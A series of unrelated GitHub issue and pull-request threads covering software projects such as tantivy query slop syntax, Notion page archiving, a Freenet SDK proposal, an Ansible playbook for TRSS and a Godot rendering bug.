Second one exposes distance for all leafs. Do we need to explicitly fail for leaves that do not handle slop/distance + implement it for those who do ? (Term maybe, I haven't checked)
Requires a doc update also :)
Not realy sure on the name, slop is hard to understand, distance is maybe a little to vague.
closes #1390

Codecov Report

Merging #1393 (1ec8212) into main (83d0c13) will increase coverage by 0.00%.
The diff coverage is 100.00%.

:exclamation: Current head 1ec8212 differs from pull request most recent head c83bbb7. Consider uploading reports for the commit c83bbb7 to get more accurate results

@@           Coverage Diff           @@
##             main    #1393   +/-   ##
=======================================
  Coverage   94.29%   94.30%
=======================================
  Files         236      236
  Lines       43418    43472   +54
=======================================
+ Hits        40942    40996   +54
  Misses       2476     2476

Impacted Files
Coverage Δ

query-grammar/src/query_grammar.rs
99.67% <100.00%> (+0.01%)
:arrow_up:

query-grammar/src/user_input_ast.rs
97.87% <100.00%> (+0.09%)
:arrow_up:

src/query/phrase_query/phrase_query.rs
91.54% <100.00%> (+0.37%)
:arrow_up:

src/query/query_parser/logical_ast.rs
88.37% <100.00%> (+1.19%)
:arrow_up:

src/query/query_parser/query_parser.rs
94.95% <100.00%> (+0.07%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 83d0c13...c83bbb7. Read the comment docs.

@fulmicoton @PSeitz  can we define the slop as being an u8 as it is the type that was chosen for the fuzzy query distance and 255 seems to be good enough of a max distance whatever the Query impl for the time being ?

Right now let's not handle fuzzy query in the grammar, it would break quickwit.
For the naming, I'd stick to slop in the grammar for the moment.

I've got this PR https://github.com/saroh/tantivy/pull/1/files which I can push in here or open later. Adds support for "foo"~1


[Bug]: the footer logo os missing

Description
in footer the logo is not loaded
Expected Behavior
we can add the image path
Show us the trouble with screenshots

Which browsers are affected?
Chrome
Which OS are affected?
Windows
Enter the version of your web browser
Version 114.0.5735.248 (Official Build) (64-bit)
Device?
No response
Record

[X] I agree to follow this project's Code of Conduct
[X] I'm a GSSoC'23 contributor
[X] I want to work on this issue

please assign me this issue @Vaishnavi-Patil2211


Add support to Archive (delete) a page

Update page api provides ability to achieve or delete a page by setting the achieve property when updating the page.
Set the archived parameter to true to archive or delete a page. For a page that is already archived, you can un-archive or restore that page by making the same request and setting archived to false.
API reference: https://developers.notion.com/reference/patch-page#archive-delete-a-page

Do you need this implementation into your existing endpoints or into a new endpoint? If it is an existing endpoint, which endpoint needs to be modified? Is it UpdatePropertiesAsync?

You can add new endpoint named UpdateAsync in IPagesClient. I'm thinking of deprecating the UpdatePropertiesAsync endpoints in future. I would also like a explicit DeleteAsync to just delete a page.

Ok, So, I am sharing my idea of how we can do that from my understanding.

First of all, we have to keep in mind that a user can un-archive or restore a page at any time, so we have to make it soft delete.
To make it soft delete, when a user makes a delete request like DeletePage(pageId, true) we just update the value of the archive property true or false
When a user wants to Retrieve a page at that time we only return a page whose archive property is true.

Is it make sense or not with your requirements, please give your valuable feedback

I think we can just implement UpdateAsync endpoint for IPagesClient at the moment & add Deprecated attribute on UpdatePropertiesAsync endpoint.
This is not required but if need we can add ArchiveAsync and UnArchiveAsync but I'm not sure atm as Notion API is changing
and user can use UpdateAsync if they want to un-archive a page. but if it is not much of work for you then go ahead.
I did not understood your third page I don't think this would affect any other API.

I just came across this issue as well while adding delete.
Koditkar, I think your approach is correct. Outside of properties, only the IsArchived flag is modifiable on a page.
Something like UpdateAsync( pageId, properties, archive ).
This is consistent with your nice generic interface pattern.


separate data collection from reporting

the combining the output from multiple  runs (e.g.: parallel execution) should be in a different MR, as it is already large enough

Looks good to me.

@kairichard this has been merged, yet https://pypi.python.org/pypi/django-performance-testing/ still only has the previous version (0.6.1). What happened w/ the release train?

@zsoldosp There seems to be a problem with pusblishing the package ->
HTTPError: 410 Client Error: Gone (This API has been deprecated and removed from legacy PyPI in favor of using the APIs available in the new PyPI.org implementation of PyPI (located at https://pypi.org/). For more information about migrating your use of this API to PyPI.org, please see https://packaging.python.org/guides/migrating-to-pypi-org/#uploading. For more information about the sunsetting of this API, please see https://mail.python.org/pipermail/distutils-sig/2017-June/030766.html) for url: https://pypi.python.org/pypi/

@zsoldosp  Will look into that ASAP

@zsoldosp Here is the reason the pipeline failed -> https://mail.python.org/pipermail/distutils-sig/2017-June/030766.html

@zsoldosp the problem is found and fixed


Proposal for an improved SDK (layer 2)

The Problem
Building decentralized software on Freenet is currently quite complicated as it involves the compilation of software components into multiple webassembly binaries. This proposal is about making this task simpler and more developer-friendly.
The Solution
Let's look at an example to better explain the proposed changes.
Imagine using fdt (freenet dev tool) to create a new project named "fritter", a decentralized version of Twitter:
$ fdt new fritter

This command creates a new directory called "fritter", which contains a Cargo.toml, build.rs, and other necessary files and directories.
We suggest introducing a code generation mechanism for delegates and contracts in webassembly. Here, delegates will be used as an example. The DelegateInterface trait is defined as follows:
pub trait DelegateInterface {
    type Parameters : Serialize + Deserialize<'static>;
    type InboundDelegateMsg : Serialize + Deserialize<'static>;
    type OutboundDelegateMsg : Serialize + Deserialize<'static>;

    fn process(
      parameters: &Parameters<'static>,
      message: &InboundDelegateMsg
    ) -> Result<Vec<OutboundDelegateMsg>, DelegateError>;
}

Right now, the DelegateInterface trait doesn't use associated types like this, but we plan to change that soon.
A delegate interface can be set up like this:
struct UserPosts

#[freenet_delegate]
impl DelegateInterface for UserPosts {
  // ...
}

The freenet_delegate attribute macro creates a delegates.txt file in the out directory. This file lists all delegates marked with the freenet_delegate macro. We also generate a similar contracts.txt file for contracts.
During the build process, build.rs (created by fdt) reads delegates.txt and for each delegate, creates a directory in the out directory. This directory has its own Cargo.toml file, which uses "fritter"'s code as a dependency. This allows referencing each delegate like UserPosts. The UserPosts subproject is set up to compile UserPosts into webassembly code, which build.rs runs.
The #[freenet_delegate] macro also adds a fn as_wasm() -> Vec<u8> function to UserPosts, which loads the generated webassembly code at runtime.
Project Directory Structure
Main Project

fritter

Cargo.toml
src

user_posts.rs

#[delegate] impl UserPostsDelegate

followers.rs

#[delegate] impl FollowersDelegate

Generating Delegates List
We generate a delegates.txt file listing the full names of delegates tagged with the #[delegate] macro:

target/release/build/fritter-abc123/out/delegates.txt

fritter::UserPostsDelegate
fritter::FollowersDelegate

Similarly, a contracts.txt file is generated for contracts.
Creating WASM Subpackages
build.rs creates a package for each contract and delegate. These packages use the main project as a dependency and are set up to compile each delegate into WASM.

target/release/build/fritter-abc123/out/wasm/UserPostsDelegate

Cargo.toml

dependency files ../../../.. <- the main fritter project is a dependency

[..]/out/wasm/FollowersDelegate

...

Final Thoughts
With these changes, it should be much easier to create software with multiple interacting delegates, contracts, and potentially user interfaces in Rust. The changes will also reduce the amount of repetitive coding required.

Notes from call with @iduartgomez:

Need to think about how to handle usage of contracts / delegates specified in dependencies
Contracts/delegates run in wasm which is a more limited environment, may need to use conditional compilation

After some research I've soured on this approach, it's pushing the macro and build.rs mechanism a bit too far and I think it's likely to create more problems than it solves. Closing for now.


Unable to remove sound in background

Running the VAnilla-tweaks in Powershell with the correct flag to remove sound in background results in the WoW executable being patched correctly but sound still plays in the background..

The patcher doesn't currently support undoing any of the patches. This is why you're encouraged to keep your original executable around.

Untrue.
Running "./vanilla-tweaks --no-sound-in-background wow.exe" off the default exe does not correctly disable the sound in background as expected.


Fix flaky runtime fixed id collision test

Fixes #14746 by adding a test setup step which makes sure no colliding keys with different values exist between runtime and fixed tables if their table ids collide.

!ci-build-me

Ran the test several times locally with both small and big parameters, seems that the flaky-bug fix works. I mark it as ready for the review.

!ci-build-me

!ci-build-me


Preliminary Documentation

Create preliminary documentation on existing subsystems and the general ROS/CWRU_OS system.

Create preliminary documentation on existing subsystems and the general ROS/CWRU_OS system.

Completed documentation in corresponding wiki repository, done for now yay!


Playbook to configure machines for TRSS

The AdoptOpenJDK_Unix_Playbook/trss.yml contains most of the manual steps to configure machines to run the TRSS service.
The playbook currently only supports Ubuntu 18 on x86_64.
The manual steps that were omitted from the playbook are:

forever-service install TRSSFrontend -e "NODE_ENV=production" -f " --workingDir /home/jenkins/openjdk-test-tools/TestResultSummaryService" --script /home/jenkins/openjdk-test-tools/TestResultSummaryService/frontend.js  -o " --configFile=path-to-trssConf.json"
forever-service install TRSSBackend -e "NODE_ENV=production" -f " --workingDir /home/jenkins/openjdk-test-tools/TestResultSummaryService" --script /home/jenkins/openjdk-test-tools/TestResultSummaryService/backend.js  -o " --configFile=/dev/mongodb/credentials/path-to-trssConf.json"
Credentials for the database

The forever commands were omitted because they require the trssConf.json file to exist, which will contain the database username and password. I thought this file, as well as the creation of those database credentials, could be best done manually.
The installation of nginx can be a bit finicky. Though this issue didnt appear on the new TRSS machine, when testing this playbook on a fyre machine the nginx service tries to start automatically upon installation, that is, it attempts to listen on port 80. If this port is in use, or for any other reason, this will cause an error and the playbook will crash.
Thoughts?

@sxa555 The unofficial nodejs source has been removed in favour of downloading the tarball from the nodejs website, as you suggested

Concerning any of the manual steps that have not been included in this playbook, I will add them to ansible/README.md under a new section dedicated to running this playbook

Might be worth printing out out a message at the end of the playbook with a list of extra steps (or detecting if they may have already been done if possible otherwise this looks ok - thanks. I'll merge. :-)


Glitchy text as shown between levels

Dustin's BD 23 shows glitchy text between levels.  I assume this would also be an issue in other cave sets.  It seems to have something to do with the viewable area size.
https://imgur.com/a/8wH7Csh

Not reproducible. Cave B and all other caves look fine.
Maybe you have changed a setting? What is your OS/OS screen resolution/BD scaling factor etc.?

I guess you have increased the view width. Yes, looks odd.


SCREEN_TEXTURE is blank when Use Physical Light Units is enabled

Godot version
4.0.beta8
System information
Windows 10, GTX 980 Ti, Vulkan Forward+
Issue description
Before enabling Physical Light Units:

After enabling Physical Light Units:

Steps to reproduce
Create a mesh and assign a Standard Material to it and set transparency to alpha, set Albedo's alpha to 0 and enable refraction.
Then enable Use Physical Light Units in the project settings.
Minimal reproduction project
refraction_real_light_units_bug.zip

Still happening on alpha 10

This is likely because the screen texture is being generated, but it's way too dark as a result of not accounting for physical light units.


Add new zh-cn translations and optimize old translations

What's new
Chinese translation can be displayed normally in most places now, and used more understandable expressions.

Hello, thanks for the contribution
Master branch is currently in limbo state and not actively maintained, if you want to improve CN translations, it would be awesome if you do that on dev3 branch.

I'll pull it again on dev3 branch later

I accidentally closed it XD

Lol


Switch to ghcr

the failed test is related to a change in chia-blockchain, fix pr here: https://github.com/Chia-Network/clvm_tools_rs/pull/163
when that's pulled in i'll approve this.

apologies for the holdup, it's unstuck.


New version: SchumakerSpline v1.3.2

Registering package: SchumakerSpline
Repository: https://github.com/s-baumann/SchumakerSpline.jl
Created by: @s-baumann
Version: v1.3.2
Commit: 8513c4d8d6ecd4260d11d22626742392184f7f5b
Reviewed by: @s-baumann
Reference: https://github.com/s-baumann/SchumakerSpline.jl/issues/7

Needs compat at least for Julia itself.

What happened with 1.3.0 and 1.3.1?

1.3.0 and 1.3.1 did happen on my computer. But did not register them as I didn't get around to learning the new registration system after Attobot.
Probably should have just called this release 1.3.0 though ...